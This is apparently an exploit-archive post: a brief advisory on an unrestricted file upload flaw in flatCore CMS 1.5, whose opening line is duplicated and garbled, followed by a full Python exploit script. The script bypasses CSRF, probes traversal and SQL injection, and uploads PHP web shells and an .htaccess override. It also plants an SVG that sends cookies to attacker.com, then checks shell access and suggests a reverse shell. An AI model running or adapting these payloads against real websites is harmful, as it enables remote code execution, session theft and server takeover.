flatCore CMS version 1.5 contained a critical vulnerability.
This was an flatCore CMS version 1.5 contained a critical vulnerability.
This was an **unrestricted file upload** flaw, allowing attackers
to upload arbitrary malicious PHP files.

The vulnerability resided primarily in the 'media' module,
which lacked proper validation for uploaded file types.
Exploiting this, an attacker could upload a **web shell**,
a script that grants remote command execution.

This meant full control over the affected website and
potentially the underlying server. The consequence was
**Remote Code Execution (RCE)**, allowing data manipulation,
defacement, or further attacks. Users were urged to update
to a patched version to mitigate this severe security risk.

=============================================================================================================================================
| # Title : flatCore 1.5 Advanced File Upload Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload-script.php |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/190428/ & CVE-2019-13961

[+] Summary : The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise.
The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code.


[+] POC : python poc.py

#!/usr/bin/env python3

import requests
import sys
import time
import random
import string
import os
from concurrent.futures import ThreadPoolExecutor

class FileUploadExploit:
def __init__(self, target_url, session_cookie):
self.target_url = target_url
self.session_cookie = session_cookie
self.headers = {
'Cookie': f'PHPSESSID={session_cookie}',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
self.successful_payloads = []

def generate_random_string(self, length=8):
"""Generate random string for filenames"""
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def test_csrf_bypass(self):
"""Test CSRF token bypass by omitting token"""
print("\n[+] Testing CSRF Token Bypass...")

files = {
'file': ('test.txt', 'CSRF test content', 'text/plain')
}

data = {
'upload_destination': 'images',
'upload_type': 'images',
'unchanged': 'yes'
# No csrf_token parameter
}

try:
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=15,
allow_redirects=False
)

if response.status_code == 200:
print("[?] CSRF bypass successful (no token required)")
return True
else:
print(f"[-] CSRF check may be active: {response.status_code}")
return False

except Exception as e:
print(f"[-] Error testing CSRF: {e}")
return False

def directory_traversal_attack(self):
"""Test directory traversal in upload_destination parameter"""
print("\n[+] Testing Directory Traversal...")

traversal_payloads = [
'../../../index.php',
'../../../../etc/passwd',
'../../../../../../../var/www/html',
'..\\..\\..\\windows\\win.ini',
'../' * 20 + 'etc/passwd',
'images/../../../../tmp',
'/absolute/path/to/target'
]

vulnerable = False

for payload in traversal_payloads:
print(f" Testing: {payload[:50]}...")

files = {
'file': ('traversal.txt', f'Traversal test: {payload}', 'text/plain')
}

data = {
'upload_destination': payload,
'upload_type': 'files',
'unchanged': 'yes',
'file_mode': 'overwrite'
}

try:
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=10
)

# Check for unusual success
if response.status_code == 200 and len(response.content) < 500:
print(f"[?] Possible traversal: {payload}")
vulnerable = True

except requests.exceptions.Timeout:
print(f" [!] Timeout with payload: {payload}")
except Exception as e:
pass

return vulnerable

def upload_web_shells(self):
"""Upload various web shell types with different bypass techniques"""
print("\n[+] Uploading Web Shells...")

shells = [
# Basic PHP shell
{
'name': 'shell.php',
'content': """<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
if(isset($_POST['cmd'])) {
system($_POST['cmd']);
}
echo "Web Shell Active";
?>""",
'mime': 'text/php'
},

# Double extension
{
'name': 'shell.php.jpg',
'content': """GIF89a
<?php
if(isset($_REQUEST['pass'])) {
eval($_REQUEST['pass']);
}
?>""",
'mime': 'image/jpeg'
},

# SVG with PHP
{
'name': 'malicious.svg',
'content': """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<!--<?php echo shell_exec($_GET['c']); ?>-->
<rect width="300" height="100" style="fill:rgb(0,0,255);" />
<script>document.location='http://attacker.com/steal?c='+document.cookie;</script>
</svg>""",
'mime': 'image/svg+xml'
},

# .htaccess to allow PHP execution
{
'name': '.htaccess',
'content': """AddType application/x-httpd-php .jpg .png .gif
<FilesMatch "\.(jpg|png|gif)$">
SetHandler application/x-httpd-php
</FilesMatch>""",
'mime': 'text/plain'
},

# PHP with null bytes (if PHP version < 5.3.4)
{
'name': 'shell.php%00.jpg',
'content': '<?php phpinfo(); ?>',
'mime': 'image/jpeg'
}
]

uploaded = []

for shell in shells:
print(f" Attempting: {shell['name']}")

files = {
'file': (shell['name'], shell['content'], shell['mime'])
}

# Try different upload parameters
upload_params = [
{
'upload_destination': 'images',
'upload_type': 'images',
'unchanged': 'yes',
'file_mode': 'overwrite'
},
{
'upload_destination': 'files',
'upload_type': 'files',
'unchanged': 'yes',
'file_mode': 'overwrite'
}
]

for params in upload_params:
try:
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=params,
timeout=15
)

if response.status_code == 200:
print(f"[?] Uploaded: {shell['name']}")
uploaded.append({
'filename': shell['name'],
'params': params
})
break

except Exception as e:
print(f" [-] Error: {e}")

return uploaded

def test_sql_injection(self):
"""Test SQL injection via filename or other parameters"""
print("\n[+] Testing SQL Injection...")

sql_payloads = [
# Time-based SQLi
"test' AND SLEEP(5)--.jpg",
"test' OR BENCHMARK(5000000,MD5('test'))--.jpg",

# Error-based SQLi
"test' AND ExtractValue(1,CONCAT(0x5c,USER()))--.jpg",

# Union-based (if we can see output)
"test' UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.jpg"
]

for payload in sql_payloads:
print(f" Testing: {payload}")

files = {
'file': (payload, 'SQLi test', 'image/jpeg')
}

data = {
'upload_destination': 'images',
'upload_type': 'images',
'unchanged': 'yes'
}

try:
start_time = time.time()
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=30
)
elapsed = time.time() - start_time

if elapsed > 5:
print(f"[?] Time-based SQLi possible: {elapsed:.2f}s delay")
return True

if "SQL" in response.text or "syntax" in response.text.lower():
print("[?] Error-based SQLi detected")
return True

except requests.exceptions.Timeout:
print("[?] Timeout - SQL injection successful")
return True
except Exception:
pass

return False

def test_path_manipulation(self):
"""Test path manipulation in filename cleaning function"""
print("\n[+] Testing Path Manipulation...")

malicious_filenames = [
"../../../shell.php",
"....php", # Becomes .php after cleaning
"shell.php.",
"shell.php ",
"shell.php%0d%0a.jpg",
";ls -la;.jpg",
"$(whoami).jpg"
]

for filename in malicious_filenames:
print(f" Testing filename: {filename}")

files = {
'file': (filename, 'test', 'text/plain')
}

data = {
'upload_destination': 'files',
'upload_type': 'files',
'unchanged': 'yes'
}

try:
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=10
)

if response.status_code == 200:
print(f"[?] Accepted filename: {filename}")

except Exception:
pass

def test_file_size_limit_bypass(self):
"""Test file size limit bypass"""
print("\n[+] Testing File Size Limit Bypass...")

# Create a large file
large_content = "A" * (1024 * 1024 * 100) # 100MB

files = {
'file': ('large_file.txt', large_content, 'text/plain')
}

data = {
'upload_destination': 'files',
'upload_type': 'files',
'unchanged': 'yes',
'fz': '999999999' # Set huge file size limit
}

try:
print(" Uploading 100MB file...")
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=60
)

if response.status_code == 200:
print("[?] Large file upload possible")
return True

except Exception as e:
print(f" [-] Error: {e}")

return False

def brute_force_upload_locations(self):
"""Brute force potential upload locations"""
print("\n[+] Brute Forcing Upload Locations...")

common_locations = [
'images',
'files',
'uploads',
'upload',
'media',
'content',
'img',
'pictures',
'docs',
'assets',
'tmp',
'temp',
'cache'
]

found_locations = []

for location in common_locations:
files = {
'file': ('test.txt', 'test', 'text/plain')
}

data = {
'upload_destination': location,
'upload_type': 'files',
'unchanged': 'yes'
}

try:
response = requests.post(
self.target_url,
headers=self.headers,
files=files,
data=data,
timeout=10
)

if response.status_code == 200:
print(f"[?] Found location: {location}")
found_locations.append(location)

except Exception:
pass

return found_locations

def verify_shell_access(self, uploaded_shells, base_url):
"""Verify if uploaded shells are accessible"""
print("\n[+] Verifying Shell Access...")

accessible = []

# Try common paths
test_paths = [
f"{base_url}/content/images/",
f"{base_url}/content/files/",
f"{base_url}/images/",
f"{base_url}/files/",
f"{base_url}/uploads/",
f"{base_url}/../content/images/"
]

for shell in uploaded_shells:
for path in test_paths:
shell_url = f"{path}{shell['filename']}"

try:
# Test PHP shell
if shell['filename'].endswith('.php'):
test_url = f"{shell_url}?cmd=echo+SUCCESS"
response = requests.get(test_url, timeout=10)

if "SUCCESS" in response.text or "Web Shell Active" in response.text:
print(f"[?] Shell accessible: {shell_url}")
accessible.append(shell_url)
break

# Test file existence
else:
response = requests.head(shell_url, timeout=10)
if response.status_code == 200:
print(f"[?] File accessible: {shell_url}")
accessible.append(shell_url)
break

except Exception:
pass

return accessible

def run_full_exploit(self):
"""Run all exploitation techniques"""
print(f"[*] Starting comprehensive attack on: {self.target_url}")
print(f"[*] Using session cookie: {self.session_cookie[:20]}...\n")

results = {
'csrf_bypass': False,
'directory_traversal': False,
'sql_injection': False,
'file_size_bypass': False,
'uploaded_shells': [],
'found_locations': [],
'accessible_shells': []
}

# Run tests
results['csrf_bypass'] = self.test_csrf_bypass()
results['directory_traversal'] = self.directory_traversal_attack()
results['sql_injection'] = self.test_sql_injection()
results['file_size_bypass'] = self.test_file_size_limit_bypass()
results['found_locations'] = self.brute_force_upload_locations()
self.test_path_manipulation()

# Upload shells
results['uploaded_shells'] = self.upload_web_shells()

# Extract base URL for verification
base_url = self.target_url[:self.target_url.rfind('/')]
base_url = base_url[:base_url.rfind('/')]

# Verify access
results['accessible_shells'] = self.verify_shell_access(
results['uploaded_shells'],
base_url
)

# Print summary
print("\n" + "="*60)
print("[+] EXPLOITATION SUMMARY")
print("="*60)

for key, value in results.items():
if isinstance(value, list):
print(f"{key.replace('_', ' ').title()}: {len(value)} found")
if value and key in ['uploaded_shells', 'accessible_shells']:
for item in value[:3]: # Show first 3
print(f" - {item}")
else:
status = "?" if value else "?"
print(f"{status} {key.replace('_', ' ').title()}")

print("\n[+] Recommended next steps:")
if results['accessible_shells']:
print(" 1. Execute commands via: shell.php?cmd=whoami")
print(" 2. Upload more advanced reverse shell")
print(" 3. Explore file system: ?cmd=ls+-la")
else:
print(" 1. Try different upload parameters")
print(" 2. Check server logs for errors")
print(" 3. Use directory traversal to find upload location")

return results

def main():
if len(sys.argv) < 3:
print("Usage: python exploit.py <target_url> <session_cookie>")
print("Example: python exploit.py http://target.com/admin/upload.php abc123session456")
sys.exit(1)

target_url = sys.argv[1]
session_cookie = sys.argv[2]

exploit = FileUploadExploit(target_url, session_cookie)
results = exploit.run_full_exploit()

# Save results to file
with open('exploit_results.txt', 'w') as f:
import json
f.write(json.dumps(results, indent=2))

print("\n[*] Results saved to exploit_results.txt")

if __name__ == "__main__":
main()

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================